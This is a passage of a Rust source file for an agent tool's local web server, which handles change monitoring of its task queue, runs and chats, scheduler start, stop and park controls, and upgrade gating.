1#[cfg(test)]
79pub(crate) mod request_cost;
80
81use std::collections::{HashMap, HashSet};
82use std::convert::Infallible;
83use std::net::{IpAddr, Ipv4Addr, SocketAddr};
84use std::path::{Path as FsPath, PathBuf};
85use std::pin::Pin;
86use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
87use std::time::Duration;
88use tokio::sync::Notify;
89
90use anyhow::{Context, Result};
91use axum::Json;
92use axum::Router;
93use axum::body::Bytes;
94use axum::extract::rejection::JsonRejection;
95use axum::extract::{DefaultBodyLimit, Path, Query, State};
96use axum::http::{HeaderMap, HeaderValue, StatusCode, header};
97use axum::response::sse::{Event, KeepAlive, Sse};
98use axum::response::{IntoResponse, Response};
99use axum::routing::{get, post, put};
100use jiff::Timestamp;
101use serde::{Deserialize, Serialize};
102use tokio_stream::StreamExt as _;
103use tokio_stream::wrappers::ReceiverStream;
104
105use crate::agent;
106use crate::ask::{self, Answer, Question, Questions};
107use crate::config::{AgentKind, Config, Update, UpdateMode};
108use crate::md;
109use crate::notices::{Notice, Notices};
110use crate::persona;
111use crate::persona_icon;
112use crate::proc::Quiet as _;
113use crate::queue::{Queue, Source, Task, TaskStatus, title_from};
114use crate::run::{RunState, RunStatus};
115use crate::talk::{Talk, Talks};
116use crate::{daemon, git, report, repos, run, settings, stats, talk, updater};
117
118pub const DEFAULT_PORT: u16 = 7878;
120
121const POLL: Duration = Duration::from_secs(1);
123
124const KEEPALIVE: Duration = Duration::from_secs(15);
128
129const UPDATE_RECHECK_POLL_MAX: Duration = Duration::from_secs(15 * 60);
140
141const UPDATE_RECHECK_POLL_MIN: Duration = Duration::from_secs(30);
144
145const LIST_DEFAULT: usize = 50;
149const LIST_MAX: usize = 500;
151
152const TITLE_MAX: usize = 72;
154
155const ATTACHMENT_MAX_BYTES: usize = 10 * 1024 * 1024;
164
165const ATTACHMENT_MIME_WHITELIST: [&str; 4] = ["image/png", "image/jpeg", "image/gif", "image/webp"];
171
172const FILENAME_HEADER: &str = "x-filename";
176
177const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
200 font-src data:; base-uri 'none'; form-action 'none'; \
201 frame-ancestors 'self'";
202
203const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
204const APP_CSS: &str = include_str!("../assets/ui/app.css");
205const APP_JS: &str = include_str!("../assets/ui/app.js");
206
207#[derive(Debug, Clone, Copy, PartialEq, Eq)]
209pub enum Bind {
210 Auto,
212 Addr(IpAddr),
214}
215
216impl std::str::FromStr for Bind {
217 type Err = String;
218
219 fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
223 if s.eq_ignore_ascii_case("auto") {
224 return Ok(Self::Auto);
225 }
226 s.parse()
227 .map(Self::Addr)
228 .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
229 }
230}
231
232impl std::fmt::Display for Bind {
233 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
234 match self {
235 Self::Auto => f.write_str("auto"),
236 Self::Addr(addr) => write!(f, "{addr}"),
237 }
238 }
239}
240
241#[derive(Debug, Clone)]
243pub struct Opts {
244 pub bind: Bind,
246 pub port: u16,
248 pub repo: PathBuf,
250 pub open: bool,
253 pub merge: Option<String>,
259}
260
261impl Default for Opts {
262 fn default() -> Self {
263 Self {
264 bind: Bind::Auto,
265 port: DEFAULT_PORT,
266 repo: PathBuf::from("."),
267 open: false,
268 merge: None,
269 }
270 }
271}
272
273mod id_links;
274
275type Stamps = HashMap<String, (u128, u64)>;
276
277fn store_stamps(root: &FsPath, runs: bool) -> Stamps {
279 try_store_stamps(root, runs).unwrap_or_default()
280}
281
282fn try_store_stamps(root: &FsPath, runs: bool) -> std::io::Result<Stamps> {
283 try_stamps(root, runs, false)
284}
285
286fn try_stamps(root: &FsPath, runs: bool, all_entries: bool) -> std::io::Result<Stamps> {
287 use std::hash::{Hash as _, Hasher as _};
288 let entries = match std::fs::read_dir(root) {
289 Ok(entries) => entries,
290 Err(e) if e.kind() == std::io::ErrorKind::NotFound => return Ok(HashMap::new()),
291 Err(e) => return Err(e),
292 };
293 let mut stamps = HashMap::new();
294 for entry in entries {
295 let entry = entry?;
296 let path = if runs {
297 entry.path().join("run.json")
298 } else {
299 entry.path()
300 };
301 if !runs && !all_entries && path.extension().is_none_or(|ext| ext != "json") {
302 continue;
303 }
304 let identity = match file_identity(&path) {
305 Ok(identity) => identity,
306 Err(e) if runs && e.kind() == std::io::ErrorKind::NotFound => continue,
307 Err(e) => return Err(e),
308 };
309 let modified = identity
310 .modified
311 .duration_since(std::time::UNIX_EPOCH)
312 .unwrap_or_default();
313 let mut hasher = std::hash::DefaultHasher::new();
314 identity.hash(&mut hasher);
315 let id = if runs || all_entries {
316 entry.file_name().to_string_lossy().into_owned()
317 } else {
318 path.file_stem()
319 .unwrap_or_default()
320 .to_string_lossy()
321 .into_owned()
322 };
323 stamps.insert(id, (modified.as_nanos(), hasher.finish()));
324 }
325 Ok(stamps)
326}
327
328#[derive(Debug, Serialize)]
329struct Delta {
330 base: u64,
331 changed: Vec<String>,
332 removed: Vec<String>,
333}
334
335fn diff_stamps(previous: &Stamps, next: &Stamps, base: u64) -> Delta {
336 let mut changed: Vec<_> = next
337 .iter()
338 .filter(|(id, stamp)| previous.get(*id) != Some(*stamp))
339 .map(|(id, _)| id.clone())
340 .collect();
341 let mut removed: Vec<_> = previous
342 .keys()
343 .filter(|id| !next.contains_key(*id))
344 .cloned()
345 .collect();
346 changed.sort_unstable();
347 removed.sort_unstable();
348 Delta {
349 base,
350 changed,
351 removed,
352 }
353}
354
355#[cfg(test)]
357fn runs_revision(runs: &FsPath) -> u64 {
358 stamps_revision(&store_stamps(runs, true))
359}
360
361fn stamps_revision(stamps: &Stamps) -> u64 {
365 use std::hash::{Hash as _, Hasher as _};
366 if stamps.is_empty() {
367 return 0;
368 }
369 let mut entries: Vec<_> = stamps.iter().collect();
370 entries.sort_unstable();
371 let mut hasher = std::hash::DefaultHasher::new();
372 entries.hash(&mut hasher);
373 hasher.finish().max(1)
374}
375
376#[derive(Clone, Debug)]
377pub(crate) struct ChangeNotification {
378 pub payload: serde_json::Value,
379}
380
381#[derive(Default, Debug)]
382pub(crate) struct QueueIndex {
383 records: HashMap<String, (FileIdentity, Arc<TaskRelation>)>,
385 #[cfg(test)]
386 reparsed: usize,
387}
388
389#[derive(Clone, Debug)]
390struct TaskRelation {
391 id: String,
392 status: Option<crate::queue::TaskStatus>,
393 priority: i32,
394 runs: Vec<String>,
395 source: Source,
396 chat: Option<String>,
397}
398
399impl From<Task> for TaskRelation {
400 fn from(task: Task) -> Self {
401 Self {
402 id: task.id,
403 status: Some(task.status),
404 priority: task.priority,
405 runs: task.runs,
406 source: task.source,
407 chat: task.chat,
408 }
409 }
410}
411
412#[derive(Debug, PartialEq, Eq, Hash)]
413struct FileIdentity {
414 modified: std::time::SystemTime,
415 len: u64,
416 #[cfg(unix)]
417 identity: (u64, u64, i64, i64),
418}
419
420fn file_identity(path: &FsPath) -> std::io::Result<FileIdentity> {
421 let meta = path.metadata()?;
422 Ok(FileIdentity {
423 modified: meta.modified()?,
424 len: meta.len(),
425 #[cfg(unix)]
426 identity: {
427 use std::os::unix::fs::MetadataExt as _;
428 (meta.dev(), meta.ino(), meta.ctime(), meta.ctime_nsec())
429 },
430 })
431}
432
433type Revisions = (u64, u64, u64, u64, u64, u64);
434type MonitorSnapshot = Option<(Revisions, [Stamps; 3])>;
435
436#[derive(Debug)]
437pub(crate) struct SharedMonitor {
438 pub broadcaster: tokio::sync::broadcast::Sender<ChangeNotification>,
439 pub latest: Arc<Mutex<MonitorSnapshot>>,
440 pub worker_started: std::sync::atomic::AtomicBool,
441 pub queue_index: Arc<Mutex<QueueIndex>>,
442 list_walks: Mutex<Vec<ListWalk>>,
443 disk: Arc<Mutex<DiskObservation>>,
444 health_index: Mutex<HealthIndex>,
445 disk_cache: Mutex<DiskCache>,
446 talk_index: Mutex<HashMap<String, (FileIdentity, TalkListView)>>,
447 bulk_slots: Arc<tokio::sync::Semaphore>,
448 #[cfg(test)]
449 talk_parses: std::sync::atomic::AtomicUsize,
450}
451
452#[derive(Debug, Default)]
454struct HealthIndex {
455 runs: HashMap<String, (FileIdentity, bool)>,
456 questions: Option<QuestionCounts>,
457 notices: Option<(u64, usize)>,
458 #[cfg(test)]
459 run_parses: usize,
460}
461
462const QUESTION_COUNTS_TTL: Duration = Duration::from_secs(10);
464
465#[derive(Debug)]
466struct QuestionCounts {
467 revision: u64,
468 measured: std::time::Instant,
469 open: usize,
470 owner: usize,
471}
472
473#[derive(Debug, Clone)]
474struct DiskSizes {
475 runs: u64,
476 worktrees: u64,
477 cache: Option<u64>,
478}
479
480#[derive(Debug, Default)]
481struct DiskCache {
482 measured: Option<std::time::Instant>,
483 loading: bool,
484 config: Option<Config>,
485 disk: Option<DiskSizes>,
486 update: Option<UpdateView>,
487}
488
489fn monitor_scan(ui: &Ui, previous: MonitorSnapshot) -> (Revisions, [Stamps; 3]) {
491 let (mut rev, mut stamps) = previous.unwrap_or_default();
492 for (index, root, runs) in [
493 (0, ui.queue.root(), false),
494 (1, ui.runs.as_path(), true),
495 (2, ui.talks.root(), false),
496 ] {
497 if let Ok(next) = try_store_stamps(root, runs) {
498 let value = stamps_revision(&next);
499 match index {
500 0 => rev.0 = value,
501 1 => rev.1 = value,
502 _ => rev.3 = value,
503 }
504 stamps[index] = next;
505 }
506 }
507 if let Ok(next) = try_stamps(ui.questions.root(), false, true) {
508 rev.2 = stamps_revision(&next);
509 }
510 if let Ok(next) = try_stamps(ui.notices.root(), false, true) {
511 rev.4 = stamps_revision(&next);
512 }
513 rev.5 = ui.lock_loop().rev;
514 (rev, stamps)
515}
516
517impl SharedMonitor {
518 pub fn new() -> Self {
519 let (tx, _) = tokio::sync::broadcast::channel(64);
520 Self {
521 broadcaster: tx,
522 latest: Arc::default(),
523 worker_started: std::sync::atomic::AtomicBool::new(false),
524 queue_index: Arc::default(),
525 list_walks: Mutex::default(),
526 disk: Arc::default(),
527 health_index: Mutex::default(),
528 disk_cache: Mutex::default(),
529 talk_index: Mutex::default(),
530 bulk_slots: Arc::new(tokio::sync::Semaphore::new(2)),
531 #[cfg(test)]
532 talk_parses: std::sync::atomic::AtomicUsize::new(0),
533 }
534 }
535
536 async fn revisions(&self, ui: &Arc<Ui>) -> ApiResult<Revisions> {
537 let mut receiver = self.broadcaster.subscribe();
538 self.ensure_worker(ui);
539 loop {
540 if let Some((revisions, _)) = self
541 .latest
542 .lock()
543 .unwrap_or_else(PoisonError::into_inner)
544 .as_ref()
545 {
546 return Ok(*revisions);
547 }
548 tokio::time::timeout(Duration::from_secs(5), receiver.recv())
549 .await
550 .map_err(|_| ApiError::internal("Store monitoring is unavailable; retry"))?
551 .map_err(|_| ApiError::internal("Store monitoring restarted; retry"))?;
552 }
553 }
554
555 pub fn ensure_worker(&self, ui: &Arc<Ui>) {
556 if self
557 .worker_started
558 .compare_exchange(
559 false,
560 true,
561 std::sync::atomic::Ordering::SeqCst,
562 std::sync::atomic::Ordering::SeqCst,
563 )
564 .is_err()
565 {
566 return;
567 }
568
569 let weak_ui = Arc::downgrade(ui);
570 tokio::spawn(async move {
571 let mut ticker = tokio::time::interval(POLL);
572 loop {
573 ticker.tick().await;
574 let Some(ui) = weak_ui.upgrade() else {
575 break;
576 };
577
578 let previous = ui
579 .monitor
580 .latest
581 .lock()
582 .unwrap_or_else(PoisonError::into_inner)
583 .clone();
584 let state = Arc::clone(&ui);
585 let scan =
586 tokio::task::spawn_blocking(move || monitor_scan(&state, previous)).await;
587
588 ticker.reset();
590 let Ok((revisions, next_stamps)) = scan else {
591 continue;
592 };
593
594 let mut latest_guard = match ui.monitor.latest.lock() {
595 Ok(g) => g,
596 Err(p) => p.into_inner(),
597 };
598
599 let previous = latest_guard.take();
600 let (last_rev, prev_stamps) = match previous {
601 Some((r, s)) => (Some(r), Some(s)),
602 None => (None, None),
603 };
604
605 if last_rev == Some(revisions) {
606 *latest_guard = Some((revisions, prev_stamps.unwrap_or(next_stamps)));
607 continue;
608 }
609
610 let mut payload = serde_json::json!({
611 "queue_rev": revisions.0,
612 "runs_rev": revisions.1,
613 "questions_rev": revisions.2,
614 "talks_rev": revisions.3,
615 "notifications_rev": revisions.4,
616 "loop_rev": revisions.5,
617 });
618
619 if let (Some(base), Some(prev)) = (last_rev, prev_stamps.as_ref()) {
620 for (index, (key, rev)) in [
621 ("queue_delta", base.0),
622 ("runs_delta", base.1),
623 ("talks_delta", base.3),
624 ]
625 .into_iter()
626 .enumerate()
627 {
628 let delta = diff_stamps(&prev[index], &next_stamps[index], rev);
629 if delta.changed.len() + delta.removed.len() > 0
630 && delta.changed.len() <= 50
631 {
632 payload[key] = serde_json::to_value(delta).expect("serializable delta");
633 }
634 }
635 }
636
637 *latest_guard = Some((revisions, next_stamps));
638 drop(latest_guard);
639
640 let _ = ui.monitor.broadcaster.send(ChangeNotification { payload });
641 }
642 });
643 }
644}
645
646#[derive(Debug, Clone)]
652pub struct Ui {
653 queue: Queue,
654 questions: Questions,
655 notices: Notices,
658 talks: Talks,
659 runs: PathBuf,
660 references: Arc<id_links::IndexCache>,
661 home: PathBuf,
662 repo: PathBuf,
663 worktrees_root: PathBuf,
670 talk_turns: Arc<Mutex<TalkTurns>>,
678 admissions: Arc<tokio::sync::RwLock<bool>>,
681 upgrade_gate: Arc<tokio::sync::Mutex<()>>,
685 upgrade_spawned: Arc<std::sync::atomic::AtomicBool>,
688 upgrade_request_error: Arc<Mutex<Option<UpgradeRequestFailure>>>,
690 auto_failed_tag: Arc<Mutex<Option<String>>>,
691 upgrade_runner: UpgradeRunner,
692 resuming: Arc<Mutex<HashSet<String>>>,
700 repos_cache: repos::Cache,
704 machine_config: Option<PathBuf>,
708 merge: Option<String>,
710 looping: Arc<Mutex<LoopState>>,
712 #[cfg(test)]
714 launch: Launch,
715 #[cfg(test)]
718 busy_queue_gate: Arc<Mutex<Option<BusyQueueGate>>>,
719 pub(crate) monitor: Arc<SharedMonitor>,
720}
721
722type AdmissionGuard = tokio::sync::OwnedRwLockReadGuard<bool>;
723
724#[cfg(test)]
744struct BusyQueueGate {
745 reached: tokio::sync::oneshot::Sender<()>,
746 release: std::sync::mpsc::Receiver<()>,
747}
748
749#[cfg(test)]
750impl std::fmt::Debug for BusyQueueGate {
751 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
752 f.debug_struct("BusyQueueGate").finish_non_exhaustive()
753 }
754}
755
756impl Ui {
757 pub fn new(
759 queue: Queue,
760 questions: Questions,
761 talks: Talks,
762 runs: PathBuf,
763 home: PathBuf,
764 repo: PathBuf,
765 ) -> Self {
766 Self {
767 queue,
768 questions,
769 notices: Notices::at(home.join("notifications")),
770 talks,
771 runs,
772 references: Arc::default(),
773 home,
774 repo,
775 worktrees_root: run::default_worktree_root(),
779 talk_turns: Arc::default(),
780 admissions: Arc::default(),
781 upgrade_gate: Arc::default(),
782 upgrade_spawned: Arc::default(),
783 upgrade_request_error: Arc::default(),
784 auto_failed_tag: Arc::default(),
785 upgrade_runner: |home| Box::pin(upgrade_and_restart(home)),
786 resuming: Arc::default(),
787 repos_cache: repos::Cache::new(),
788 machine_config: Config::machine_layer(),
789 merge: None,
790 looping: Arc::default(),
791 #[cfg(test)]
792 launch: launch_daemon,
793 #[cfg(test)]
794 busy_queue_gate: Arc::default(),
795 monitor: Arc::new(SharedMonitor::new()),
796 }
797 }
798
799 fn indexed_tasks(&self) -> ApiResult<Vec<Arc<TaskRelation>>> {
802 let mut index = self
803 .monitor
804 .queue_index
805 .lock()
806 .unwrap_or_else(PoisonError::into_inner);
807 let entries = match std::fs::read_dir(self.queue.root()) {
808 Ok(entries) => entries,
809 Err(e) if e.kind() == std::io::ErrorKind::NotFound => {
810 index.records.clear();
811 return Ok(Vec::new());
812 }
813 Err(e) => return Err(anyhow::Error::from(e).into()),
814 };
815 let mut seen = HashSet::new();
816 for entry in entries {
817 let path = entry.map_err(anyhow::Error::from)?.path();
818 if path.extension().is_none_or(|ext| ext != "json") {
819 continue;
820 }
821 let Some(id) = path.file_stem().and_then(|s| s.to_str()) else {
822 continue;
823 };
824 let stamp = file_identity(&path).map_err(anyhow::Error::from)?;
825 seen.insert(id.to_owned());
826 if !cfg!(unix) || index.records.get(id).is_none_or(|(old, _)| *old != stamp) {
829 let Ok(task) = self.queue.get(id) else {
830 if let Some((_, record)) = index.records.get_mut(id) {
836 Arc::make_mut(record).status = None;
837 }
838 continue;
839 };
840 #[cfg(test)]
841 {
842 index.reparsed += 1;
843 }
844 if file_identity(&path).map_err(anyhow::Error::from)? != stamp {
845 return Err(ApiError::conflict("Queue changed during read; retry"));
846 }
847 index
848 .records
849 .insert(id.to_owned(), (stamp, Arc::new(TaskRelation::from(task))));
850 }
851 }
852 index.records.retain(|id, _| seen.contains(id));
853 let mut tasks: Vec<_> = index
854 .records
855 .values()
856 .map(|(_, task)| task.clone())
857 .collect();
858 tasks.sort_unstable_by(|a, b| b.priority.cmp(&a.priority).then_with(|| b.id.cmp(&a.id)));
859 Ok(tasks)
860 }
861
862 fn find_task_for_run(&self, run_id: &str) -> ApiResult<Option<Task>> {
863 let Some(record) = self
864 .indexed_tasks()?
865 .into_iter()
866 .find(|task| task.runs.iter().any(|id| id == run_id))
867 else {
868 return Ok(None);
869 };
870 let task = self.queue.get(&record.id)?;
871 if !task.runs.iter().any(|id| id == run_id) {
872 return Err(ApiError::conflict("Task relationship changed; retry"));
873 }
874 Ok(Some(task))
875 }
876
877 fn find_tasks_for_talk(&self, talk_id: &str) -> ApiResult<Vec<Task>> {
878 self.indexed_tasks()?
879 .into_iter()
880 .filter(|task| {
881 task.chat.as_deref() == Some(talk_id)
882 || matches!(&task.source, Source::Agent { run, .. } if run == talk_id)
883 })
884 .map(|record| {
885 let task = self.queue.get(&record.id)?;
886 if task.chat.as_deref() != Some(talk_id)
887 && !matches!(&task.source, Source::Agent { run, .. } if run == talk_id)
888 {
889 return Err(ApiError::conflict("Task relationship changed; retry"));
890 }
891 Ok(task)
892 })
893 .collect()
894 }
895
896 pub fn open(repo: PathBuf) -> Self {
899 Self::new(
900 Queue::open(),
901 Questions::open(),
902 Talks::open(),
903 run::runs_root(),
904 run::home(),
905 repo,
906 )
907 }
908
909 #[must_use]
916 pub fn with_merge(mut self, merge: Option<String>) -> Self {
917 self.merge = merge;
918 self
919 }
920
921 #[cfg(test)]
924 #[must_use]
925 fn with_machine_config(mut self, path: Option<PathBuf>) -> Self {
926 self.machine_config = path;
927 self
928 }
929
930 #[must_use]
935 pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
936 self.worktrees_root = root;
937 self
938 }
939
940 #[cfg(test)]
945 #[must_use]
946 fn with_launch(mut self, launch: Launch) -> Self {
947 self.launch = launch;
948 self
949 }
950
951 #[cfg(test)]
961 fn set_busy_queue_gate(&self, gate: BusyQueueGate) {
962 *self
963 .busy_queue_gate
964 .lock()
965 .unwrap_or_else(PoisonError::into_inner) = Some(gate);
966 }
967
968 fn begin_admission(&self) -> ApiResult<AdmissionGuard> {
971 let guard = Arc::clone(&self.admissions)
972 .try_read_owned()
973 .map_err(|_| ApiError::conflict("web restart in progress; retry this message"))?;
974 if *guard {
975 return Err(ApiError::conflict(
976 "web restart in progress; retry this message",
977 ));
978 }
979 Ok(guard)
980 }
981
982 async fn start_detached_loop(&self) -> ApiResult<()> {
984 if self
985 .upgrade_spawned
986 .load(std::sync::atomic::Ordering::SeqCst)
987 {
988 return Err(ApiError::conflict("an upgrade is in progress"));
989 }
990 let reading = daemon::read_status(&self.home);
991 if let Some(other) = Foreign::of(reading.as_ref()) {
992 return Err(ApiError::conflict(format!(
993 "{} is still running a legacy scheduler; finish or park it before starting the independent scheduler.",
994 other.who()
995 )));
996 }
997 let jobs = crate::worker::active(&self.home).map_err(ApiError::from)?;
998 let control = crate::worker::control(&self.home, "scheduler").map_err(ApiError::from)?;
999 let scheduler_running = jobs.iter().any(|job| job.kind == "scheduler")
1000 || reading.is_some_and(|reading| {
1001 reading.worker_protocol == Some(1) && reading.running(Timestamp::now())
1002 });
1003 if control.is_some() && scheduler_running {
1004 return Err(ApiError::conflict(
1005 "the scheduler is still stopping; retry Start after it has stopped",
1006 ));
1007 }
1008 if !jobs.iter().any(|job| job.kind == "scheduler") {
1009 let available =
1010 crate::worker::try_lease(&self.home, "scheduler").map_err(ApiError::from)?;
1011 if available.is_none() {
1012 return Err(ApiError::conflict(
1013 "the scheduler is still running or stopping; retry after its transition completes",
1014 ));
1015 }
1016 drop(available);
1017 }
1018 let opts = daemon::Opts {
1019 repo: self.repo.clone(),
1020 merge: self.merge.clone(),
1021 worktrees_root: Some(self.worktrees_root.clone()),
1022 ..daemon::Opts::default()
1023 };
1024 daemon::spawn_detached(&self.home, &opts)
1025 .await
1026 .map_err(ApiError::from)?;
1027 let mut state = self.lock_loop();
1028 state.last_error = None;
1029 state.rev += 1;
1030 Ok(())
1031 }
1032
1033 #[cfg(test)]
1040 fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
1041 if let Some(other) = foreign {
1042 return Err(ApiError::conflict(format!(
1043 "{} is already running the loop, so this one will not start a \
1044 second: two loops on one queue race for the same claims and \
1045 burn the agent quota twice over. Stop it where it was \
1046 started.",
1047 other.who()
1048 )));
1049 }
1050 let mut state = self.lock_loop();
1051 if self
1052 .upgrade_spawned
1053 .load(std::sync::atomic::Ordering::SeqCst)
1054 {
1055 return Err(ApiError::conflict("an upgrade is in progress"));
1056 }
1057 if state.live.as_ref().is_some_and(Live::alive) {
1058 return Err(ApiError::conflict(format!(
1059 "this magi web process (pid {}) is already running the loop",
1060 std::process::id()
1061 )));
1062 }
1063
1064 let stop = daemon::Stop::new();
1065 let opts = daemon::Opts {
1069 repo: self.repo.clone(),
1070 merge: self.merge.clone(),
1071 worktrees_root: Some(self.worktrees_root.clone()),
1078 ..daemon::Opts::default()
1079 };
1080 let launch = self.launch;
1081 let looping = Arc::clone(&self.looping);
1082 let handle = tokio::spawn({
1083 let opts = opts.clone();
1084 let stop = stop.clone();
1085 async move {
1086 let failure = match launch(opts, stop).await {
1087 Ok(()) => None,
1088 Err(e) => Some(format!("{e:#}")),
1089 };
1090 match &failure {
1091 Some(why) => tracing::error!("the loop stopped: {why}"),
1092 None => tracing::info!("the loop stopped"),
1093 }
1094 let mut state = lock_or_recover(&looping);
1100 state.live = None;
1101 state.last_error = failure;
1102 state.rev += 1;
1103 }
1104 });
1105 tracing::info!(
1106 "the loop is now running in this process: repo {}, merge {}",
1107 opts.repo.display(),
1108 opts.merge.as_deref().unwrap_or("as the config says")
1109 );
1110 state.live = Some(Live { stop, handle, opts });
1111 state.last_error = None;
1114 state.rev += 1;
1115 Ok(())
1116 }
1117
1118 fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
1124 if let Some(other) = foreign {
1125 return Err(ApiError::conflict(format!(
1126 "the loop belongs to {}, and this process cannot stop it - \
1127 stop it where it was started. A button that silently did \
1128 nothing would be worse than this refusal.",
1129 other.who()
1130 )));
1131 }
1132 #[cfg(not(test))]
1133 {
1134 daemon::request_control(
1135 &self.home,
1136 if park {
1137 crate::worker::Control::Park
1138 } else {
1139 crate::worker::Control::Stop
1140 },
1141 )
1142 .map_err(ApiError::from)?;
1143 self.lock_loop().rev += 1;
1144 Ok(())
1145 }
1146 #[cfg(test)]
1147 {
1148 let mut state = self.lock_loop();
1149 let Some(live) = state.live.as_ref() else {
1150 return Ok(());
1151 };
1152 if live.stop.stopped() && (!park || live.stop.parking()) {
1156 return Ok(());
1157 }
1158 if park {
1159 live.stop.park(crate::run::ParkCause::Operator);
1160 tracing::info!(
1161 "the loop was asked to park; the run stops at its next node boundary"
1162 );
1163 } else {
1164 live.stop.stop();
1165 tracing::info!("the loop was asked to stop; a run in flight is finished first");
1166 }
1167 state.rev += 1;
1168 Ok(())
1169 }
1170 }
1171
1172 #[cfg(not(test))]
1179 fn try_loop_view(&self, reading: Option<daemon::Reading>) -> ApiResult<LoopView> {
1180 let jobs = crate::worker::active(&self.home).map_err(|error| {
1181 ApiError::internal(format!("cannot read independent worker state: {error:#}"))
1182 })?;
1183 Ok(self.runtime_loop_view(reading, &jobs))
1184 }
1185
1186 #[cfg(test)]
1187 fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
1188 let state = self.lock_loop();
1189 let live = state.live.as_ref().filter(|live| live.alive());
1192 LoopView {
1193 running: live.is_some(),
1194 stopping: live.is_some_and(|live| live.stop.finishing()),
1195 parking: live.is_some_and(|live| live.stop.parking()),
1196 owned: live.is_some(),
1197 repo: live
1198 .map_or(&self.repo, |live| &live.opts.repo)
1199 .display()
1200 .to_string(),
1201 merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
1202 last_error: state.last_error.clone(),
1203 daemon: DaemonView::of(reading),
1204 }
1205 }
1206
1207 fn runtime_loop_view(
1209 &self,
1210 reading: Option<daemon::Reading>,
1211 jobs: &[crate::worker::Job],
1212 ) -> LoopView {
1213 let scheduler = jobs.iter().find(|job| job.kind == "scheduler");
1214 let reporting = reading
1215 .as_ref()
1216 .is_some_and(|r| r.running(Timestamp::now()));
1217 let managed = scheduler.is_some()
1218 || (reporting
1219 && reading
1220 .as_ref()
1221 .is_some_and(|r| r.worker_protocol == Some(1)));
1222 let control = crate::worker::control(&self.home, "scheduler")
1223 .ok()
1224 .flatten();
1225 let persisted = if managed && scheduler.is_none() {
1228 std::fs::read(self.home.join("scheduler-options.json"))
1229 .ok()
1230 .and_then(|bytes| serde_json::from_slice::<daemon::Opts>(&bytes).ok())
1231 } else {
1232 None
1233 };
1234 let repo = scheduler
1235 .and_then(|job| job.payload.get("repo"))
1236 .and_then(serde_json::Value::as_str)
1237 .map(str::to_owned)
1238 .or_else(|| {
1239 persisted
1240 .as_ref()
1241 .map(|opts| opts.repo.display().to_string())
1242 })
1243 .unwrap_or_else(|| self.repo.display().to_string());
1244 let merge = match scheduler {
1245 Some(job) => job
1246 .payload
1247 .get("merge")
1248 .and_then(serde_json::Value::as_str)
1249 .map(str::to_owned),
1250 None => persisted.map_or_else(|| self.merge.clone(), |opts| opts.merge),
1251 };
1252 LoopView {
1253 running: managed || reporting,
1254 stopping: managed && matches!(control, Some(crate::worker::Control::Stop)),
1255 parking: matches!(control, Some(crate::worker::Control::Park))
1256 && jobs.iter().any(|job| job.kind == "task"),
1257 owned: managed,
1258 repo,
1259 merge,
1260 last_error: self.lock_loop().last_error.clone(),
1261 daemon: DaemonView::of(reading),
1262 }
1263 }
1264
1265 fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
1267 lock_or_recover(&self.looping)
1268 }
1269
1270 fn is_thinking(&self, id: &str) -> bool {
1272 self.talk_turns
1273 .lock()
1274 .is_ok_and(|turns| turns.live.contains(id))
1275 || self.talks.turn_held(id)
1278 || crate::consult::turn_worker_active(&self.talks, id)
1279 }
1280
1281 fn begin_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
1300 self.claim_talk_turn(id, false)
1301 }
1302
1303 fn begin_queued_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
1306 self.claim_talk_turn(id, true)
1307 }
1308
1309 fn claim_talk_turn(&self, id: &str, queued: bool) -> ApiResult<Option<TalkTurnGuard>> {
1310 let mut live = self
1311 .talk_turns
1312 .lock()
1313 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
1314 if crate::consult::turn_worker_active(&self.talks, id) {
1315 if queued {
1316 *live.queued.entry(id.to_owned()).or_default() += 1;
1317 }
1318 return Ok(None);
1319 }
1320 let inserted = live.live.insert(id.to_owned());
1321 let lease = if inserted {
1325 match self.talks.claim_turn(id) {
1326 Ok(Some(lease)) => Some(lease),
1327 Ok(None) => {
1328 live.live.remove(id);
1329 None
1330 }
1331 Err(e) => {
1332 live.live.remove(id);
1333 return Err(ApiError::from(e));
1334 }
1335 }
1336 } else {
1337 None
1338 };
1339 if lease.is_none() {
1340 if queued {
1341 *live.queued.entry(id.to_owned()).or_default() += 1;
1346 }
1347 return Ok(None);
1348 }
1349 Ok(Some(TalkTurnGuard {
1350 talk: id.to_owned(),
1351 turns: Arc::clone(&self.talk_turns),
1352 released: false,
1353 lease,
1354 }))
1355 }
1356
1357 fn begin_talk_turn_unless_pending(&self, id: &str) -> ApiResult<TalkTurnStart> {
1362 let mut live = self
1363 .talk_turns
1364 .lock()
1365 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
1366 if live.live.contains(id) || crate::consult::turn_worker_active(&self.talks, id) {
1368 return Ok(TalkTurnStart::Busy);
1369 }
1370 let Some(lease) = self.talks.claim_turn(id).map_err(ApiError::from)? else {
1371 return Ok(TalkTurnStart::Foreign);
1372 };
1373 let talk = self.talks.get(id).map_err(ApiError::from)?;
1375 if !talk.pending.is_empty() || !talk.pending_attachments.is_empty() {
1376 return Ok(TalkTurnStart::Pending);
1377 }
1378 live.live.insert(id.to_owned());
1379 Ok(TalkTurnStart::Claimed(TalkTurnGuard {
1380 talk: id.to_owned(),
1381 turns: Arc::clone(&self.talk_turns),
1382 released: false,
1383 lease: Some(lease),
1384 }))
1385 }
1386
1387 fn queued_generation(&self, id: &str) -> u64 {
1388 let live = self
1389 .talk_turns
1390 .lock()
1391 .unwrap_or_else(PoisonError::into_inner);
1392 live.queued.get(id).copied().unwrap_or(0)
1393 }
1394
1395 fn auto_upgrade_busy(&self) -> bool {
1398 #[cfg(test)]
1399 if self
1400 .lock_loop()
1401 .live
1402 .as_ref()
1403 .is_some_and(|live| live.stop.busy_now())
1404 {
